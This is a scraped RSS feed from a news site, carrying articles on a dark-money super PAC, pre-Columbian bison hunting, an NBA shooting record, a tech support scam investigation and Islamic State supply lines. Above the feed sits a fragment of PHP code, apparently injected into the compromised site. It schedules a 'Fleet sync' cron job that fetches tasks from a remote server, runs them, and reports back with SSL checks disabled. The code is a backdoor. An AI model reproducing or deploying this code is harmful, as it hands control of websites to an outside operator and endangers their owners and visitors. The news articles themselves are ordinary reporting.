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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); managed – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 09 Oct 2018 18:27:18 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png managed – Brief News https://briefnews.eu 32 32 A ‘dark money’ super PAC managed to spend $1.3 million without saying where it got its money https://briefnews.eu/a-dark-money-super-pac-managed-to-spend-1-3-million-without-saying-where-it-got-its-money/ https://briefnews.eu/a-dark-money-super-pac-managed-to-spend-1-3-million-without-saying-where-it-got-its-money/#respond Tue, 09 Oct 2018 18:27:18 +0000 http://briefnews.eu/a-dark-money-super-pac-managed-to-spend-1-3-million-without-saying-where-it-got-its-money/ Senate Majority Leader Sen. Mitch McConnellAlex Wong/Getty Images

  • The Mountain Families PAC managed to spend $ 1.3 million in May without revealing who was supplying the donation.
  • Super PACs can raise and spend unlimited sums of money in elections, but are required to disclose where the money is coming from. 
  • Donors have gotten around this by starting a new super PAC after the deadline for reporting donors and expenses, then raising and spending the money before the next report is due.

Allies of Senate Majority Leader Mitch McConnell used a blind spot in campaign finance laws to undercut a candidate from their own party this year — and their fingerprints remained hidden until the primary was already over.

Super PACs, which can raise and spend unlimited sums of money in elections, are supposed to regularly disclose their funders. But in the case of Mountain Families PAC, Republicans managed to spend $ 1.3 million against Don Blankenship, a mustachioed former coal baron who was a wild-card candidate for a must-win West Virginia Senate seat, in May without revealing who was supplying the cash.

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]]> https://briefnews.eu/a-dark-money-super-pac-managed-to-spend-1-3-million-without-saying-where-it-got-its-money/feed/ 0 Native Americans managed the prairie for better bison hunts https://briefnews.eu/native-americans-managed-the-prairie-for-better-bison-hunts/ https://briefnews.eu/native-americans-managed-the-prairie-for-better-bison-hunts/#respond Wed, 25 Jul 2018 15:57:51 +0000 http://briefnews.eu/native-americans-managed-the-prairie-for-better-bison-hunts/

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Layers of charcoal residue buried beneath the northern Montana prairie show that pre-Columbian indigenous hunters on the Great Plains once burned patches of grassland to stimulate new growth. This created a tempting feast for bison herds, which the hunters then used to lure the bison in for the kill. And that, archaeologists say, means that even relatively small, mobile groups of hunter-gatherers can have a bigger environmental impact than they’ve been given credit for.

It’s not the fall, it’s the sudden stop at the end

For a group of hunters on foot, like the ancestors of today’s Blackfeet people, one of the most efficient ways to take down large prey like the American bison is to simply chase a group of them off a cliff and then harvest the remains below. Various hunter-gatherer societies around the world have used versions of this tactic over the last several thousand years, leaving piles of animal bones (many with evidence of butchering or cracking to get at marrow) at the bases of ancient bluffs. It takes planning and coordination among many hunters—and a decent amount of luck.

In the uplands of north-central Montana, on what is today the Blackfeet Reservation, pre-Columbian hunters built mile-long stretches of rock cairns called drivelines, which hunters used to help them funnel buffalo herds from fertile grazing patches called gathering basins, toward the edge of a steep bluff overlooking a tributary of the Two Medicine River. At two different driveline sites, archaeologists have radiocarbon dated bison bones to between 900 and 1650 CE, with the majority of kills happening in the final 250 years of that period. (The sites are on a tributary flowing into the Two Medicine River from the north and another on a different tributary flowing in from the south.)

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]]> https://briefnews.eu/native-americans-managed-the-prairie-for-better-bison-hunts/feed/ 0 The Lakers just set a new NBA record for shooting futility — and still managed to win https://briefnews.eu/the-lakers-just-set-a-new-nba-record-for-shooting-futility-and-still-managed-to-win/ https://briefnews.eu/the-lakers-just-set-a-new-nba-record-for-shooting-futility-and-still-managed-to-win/#respond Sat, 20 Jan 2018 16:46:41 +0000 http://briefnews.eu/the-lakers-just-set-a-new-nba-record-for-shooting-futility-and-still-managed-to-win/ Julius Randle LakersAP Images / Kyusung Gong

  • The Los Angeles Lakers shot 2-for-14 (14.3%) from the free throw line on Friday against the Indiana Pacers, the worst single-game percentage in NBA history.
  • The Lakers were still able to beat the Pacers, who had some shooting woes of their own.

The Los Angeles Lakers made the wrong kind of history on Friday night.

The team collectively shot 2-for-14 — or 14.3% — from the free throw line against the Indiana Pacers, the worst single-game shooting percentage by any team in NBA history with a minimum of 10 attempts, according to Elias Sports Bureau.

Perhaps even more shocking is that the Lakers were still able to pull out a 99-86 win, downing the Pacers for their 16th victory of the season.

Guard Jordan Clarkson, who sunk both free throws for the Lakers while five of his teammates went at least 0-for-2, couldn’t believe it when told after the game.

“Man, that free throw line, it’s like a virus or something,” Clarkson told reporters. “What did we shoot?”

Upon being told of the 2-for-14 debacle, Clarkson didn’t mince words: “Oh s—.”

The free throw woes came alongside several notable absences in the Lakers lineup, including Lonzo Ball, Brandon Ingram and Kentavious Caldwell-Pope.

Not to be outdone, the Pacers made some history of their own. They shot just 2-for-25 (8%) from the 3-point line, the lowest percentage in franchise history and the worst ever by any Lakers opponent, with a minimum of 20 attempts.

Despite their free throw struggles, the Lakers have won 5 of their last 7 games. Their next match-up is against the New York Knicks on Sunday.

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]]> https://briefnews.eu/we-managed-the-pace/feed/ 0 How a podcaster managed to confront his tech support scammer, in person https://briefnews.eu/how-a-podcaster-managed-to-confront-his-tech-support-scammer-in-person/ https://briefnews.eu/how-a-podcaster-managed-to-confront-his-tech-support-scammer-in-person/#respond Fri, 28 Jul 2017 02:02:02 +0000 http://briefnews.eu/how-a-podcaster-managed-to-confront-his-tech-support-scammer-in-person/

Enlarge / This November 2015 photo appears to be a company photo of Accostings, which Reply All identified as an India-based tech support scam company. Kamal Verma is standing in a black shirt with a watch in the center of the photo. (credit: Kamal Verma)

The following post contains spoilers of Reply All episode #102: Long Distance, which was released on July 27, 2017. If you don’t wish to know what happens in that episode, read no further.

Here at Ars, we are no strangers to online tech support scammers. For years now, we have played along with scammers, cajoled them, and called them out on their tricks. Such scams are notoriously difficult to shut down.

But we never even dreamed of doing what the podcast Reply All has done in an amazing episode that was released Thursday morning: doggedly pursue corporate records, find Facebook profiles of at least one company executive, and even manage to have extended conversations with one of them before trying to confront him. In person. In India.

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]]> https://briefnews.eu/how-a-podcaster-managed-to-confront-his-tech-support-scammer-in-person/feed/ 0 How the Islamic State managed to get supplies, electricity and food, despite being under siege https://briefnews.eu/how-the-islamic-state-managed-to-get-supplies-electricity-and-food-despite-being-under-siege/ https://briefnews.eu/how-the-islamic-state-managed-to-get-supplies-electricity-and-food-despite-being-under-siege/#respond Sat, 13 May 2017 01:56:03 +0000 http://briefnews.eu/how-the-islamic-state-managed-to-get-supplies-electricity-and-food-despite-being-under-siege/ A member loyal to the Islamic State in Iraq and the Levant (ISIL) waves an ISIL flag in Raqqa June 29, 2014. The offshoot of al Qaeda which has captured swathes of territory in Iraq and Syria has declared itself an Islamic Thomson Reuters

The WIDO brand saw blade hung on a display shelf in Mosul’s Jadida neighborhood. It fits a 9-kg. circular saw that is sold from a company in Suzhou, eastern China.

It struck me as odd, during a reporting trip to Mosul in early May, that somehow it had made its way all the way to Iraq, through the front lines of the Iraq Army and past the 68-nation US-led coalition fighting Islamic State, to a tool shop in Mosul.

As Islamic State faces defeat in Iraq and Syria, it is still supplying itself with weapons. Its drones still photograph its bomb-laden trucks as they strike Iraqi lines. It still publishes the Hollywood- quality videos online.

How is this possible? Why is an extremist group that is under siege in Mosul, confined now to just several neighborhoods a few square miles across, not starving like the defenders of Leningrad in World War II? When I was in the liberated areas of western Mosul in late April and early May, there were many shops that were fully stocked while under Islamic State control.

They were abandoned just days before and were left like a museum of life under the extremists. It’s not the Upper West Side, but they looked little different from shops in a lower-middle-class neighborhood in Amman or Cairo.

In one hardware store, there was a box of SEGA Fix adhesives, imported from Turkey. There were lawnmowers from FERM B.V. in the Netherlands. People in Iraq don’t often have lawns, so this product didn’t seem to be a big seller. Of more serious concern were the bags of potassium nitrate at an Islamic State bomb factory in Hamdaniyeh. These were produced in the Russian Federation.Iraq ISIS Mosul helicopter gunship gunfire airstrike bombingREUTERS/Youssef Boudlal A report by Conflict Armament Research (CAR) in December 2016, titled “Standardization and Quality Control in Islamic State’s Military Production,” sheds light on how Islamic State obtained its supplies. “Production dates spanning a range of years, suggest that ISIS forces have made repeated acquisitions of identical products from the same sources – almost exclusively from the Turkish domestic market.”

The report called it a “robust supply chain extending from Turkey, through Syria, to Mosul.” The researchers concluded that there was a “major acquisition network in Turkey” operated by Islamic State and that there was a “direct line of supply.”

The manufacturing dates on the packaging are interesting. Some were produced before 2011, such as Toros potassium nitrate, which is used to make rocket propellant. But other quantities of sorbitol were made by French company Tereos in 2015, at the height of the war on Islamic State. Sugar from the Chekka refinery in Lebanon was made in November 2015. Any product with transaction or manufacture dates after August 2014 was imported by Islamic State once the international coalition against it was being formed. Yet CAR found products such as grease packaging produced by the Turkish company Petrol Ofisi in September 2015.

Islamic State supply lines closely mirror its supply of foreign fighters. A 2015 report by the Institute for Economics and Peace estimated that 30,000 fighters had traveled to Syria and Iraq to join Islamic State. Around 7,000 had come in the first six months of 2015.

Monitoring groups could not always track which fighters joined Islamic State and which joined other jihadist groups, but Islamic State was the major destination. The Soufan Group estimated that 31,000 fighters came to Syria and Iraq and that up to 5,000 were from Europe as well as 6,000 Tunisians, thousands from Russia and thousands from Turkey.

Iraq ISISREUTERS/Ahmed Saad The network of fighters who mostly came via Turkey and crossed the porous border to Syria began to decline in 2015 when Turkey began constructing a border wall, and Islamic State lost power along the border as the Kurds began to push it back from Kobani. But the supply lines continued to operate, as other avenues were found to smuggle goods.

Besides the infusion it got from its supply lines, Islamic State also thrived off the fact that the Iraqi government continued to pay pensions and salaries of state employees within areas run by Islamic State.

In July 2015, that stopped. “All such payments have been halted, depriving whole cities’ pensioners, civil servants, doctors, teachers, nurses, police and workers… of both their income and some of their last official links to Baghdad,” wrote Reuters.

This revelation paints a picture of a “war” on Islamic State that was only half a war. Imagine if, during the US Civil War, the Union government had kept paying all the civil servants in the US South, despite their being in open war and rebellion against the North.

How many millions or billions of dollars flowed into Islamic State area coffers through taxes (estimated at 50%) on civil servants’ salaries paid by Baghdad between the summer of 2014 and 2015? The Iraqi budget is a bit opaque, but the Rawabet Center for Research in Security Studies claimed 727 billion Iraqi dinars went to education in 2015. If we add to that salaries from the electricity sector (1,910b. dinars) and other departments, it adds up to over a trillion dinars.

ISIS suicide attack Mosul Iraq bombing fightingREUTERS/Goran Tomasevic The percent of Iraq’s population held by Islamic State at its high point was around 15%. So 150b. dinars might have accounted for salaries in its area, which is around $ 150 million.

A similar situation persisted in Syria where Damascus cut off salaries in 2015. In many ways, Islamic State replaced the existing financial institutions and even replicated them, handing out subsidies for agricultural yields, for instance. The Associated Press reported in February 2016, relying on expert reports by Middle East Forum fellow Aymenn Jawad al-Tamimi, that Islamic State was cutting salaries to its own fighters and began to rely on US dollars in its economy. But people in ISIS-land were still receiving remittances from abroad, even in 2016.

Electricity also functioned in Islamic State areas, thanks to the central governments in Syria and Baghdad, which kept paying for it and not bombing the generators. Even more bizarre is that when the Iraqi Army liberated eastern Mosul, Islamic State cut off the power lines leading to eastern Mosul from its western Mosul Lazakah power station. Islamic State was the one generating power for residents. At the height of the Mosul siege, it held the keys to electricity, and people under its control had better access than those in the liberated zone.

Islamic State was also extracting tens of thousands of barrels of oil a day, according to a report in the Financial Times. Through October 2015, when the coalition began targeting Islamic State oil supplies, it was earning up to $ 1.5m. a day. Via “a highly organized system, Syrian and Iraqi buyers go directly to the oil fields with their trucks to buy crude,” the report said. As with the oil, the coalition air strikes didn’t begin seriously concentrating on Islamic State boats and barges plying the Euphrates until the fall of 2016.

iraq displaced women isisReuters/Thaier Al-Sudani Islamic State was able to conduct trade, import supplies for weapons and run an effective economy even up to its last moments under siege in Mosul. Only now, confined to less than 11 square kilometers, is it finally feeling the pinch. But other Islamic State areas continue to function.

Despite a 68-nation coalition, the various armies fighting Islamic State – including Iraq and the Kurdish Peshmerga, the Syrian regime, Syrian rebels, Turkey and the Syrian Kurdish YPG – never fought a total war against Islamic State or its economy. Through 2015, Islamic State areas were benefiting from government salaries paid by Baghdad and Damascus.

The argument behind not targeting the supplies was that millions of civilians would starve. But the Islamic State war effort benefited from this. ISIS was also able to carry out its crimes in the open, such as trading in thousands of Yazidi women.

In the modern history of warfare, there has rarely been an example of an enemy entity having such open borders to trade, even via the states at war with it.

ISIS was able to prolong its resistance because it was never subjected to a total war onslaught, and its enemies – particularly the coalition which had the resources – were tepid in targeting it and seeking to destroy it quickly and effectively.

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The Not-So-Surprising
Survival of Foursquare
Aaron Gell,
The New Yorker

When Foursquare split its app in two with a second dedicated to check-ins, the move was questionable to say the least. The company eventually brought its popular mayorships back to Swarm and has largely held on to users as a directory for food and more inside the namesake app. The New Yorker takes a look at how the company has been able to survive largely due to its very active users and a trove of data.

‘Shovel Knight’ Rethinks Gender in Retro Games With Body Swap Mode
Yacht Club Games, Polygon

The Shovel Knight developer penned a blog post on Polygon to explain the details behind the decision to offer both male and female versions of the main characters in the game.

How Prompto’s AI-driven Selfie System in ‘Final Fantasy XV’ Was Built
Alex Wawro, Gamasutra

Final Fantasy XV designer Prasert “Sun” Prasertvithyakarn explained how the game’s AI system was built at GDC this week and Gamasutra has a breakdown of the talk.

A Formula for the Perfect Superhero
Jason Concepcion and Shea Serrano, The Ringer

Two editors from The Ringer set out on a quest to build the perfect super hero. You may not agree with all of the choices, but that doesn’t make the results any less interesting.

How the Chili Dog Transcended America’s Divisions
Christina Olson, The Atlantic

A food that’s a mixture of a few different immigrant dishes originating in several different countries has united America behind the need for more napkins.

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David Haller probably shouldn’t be left alone

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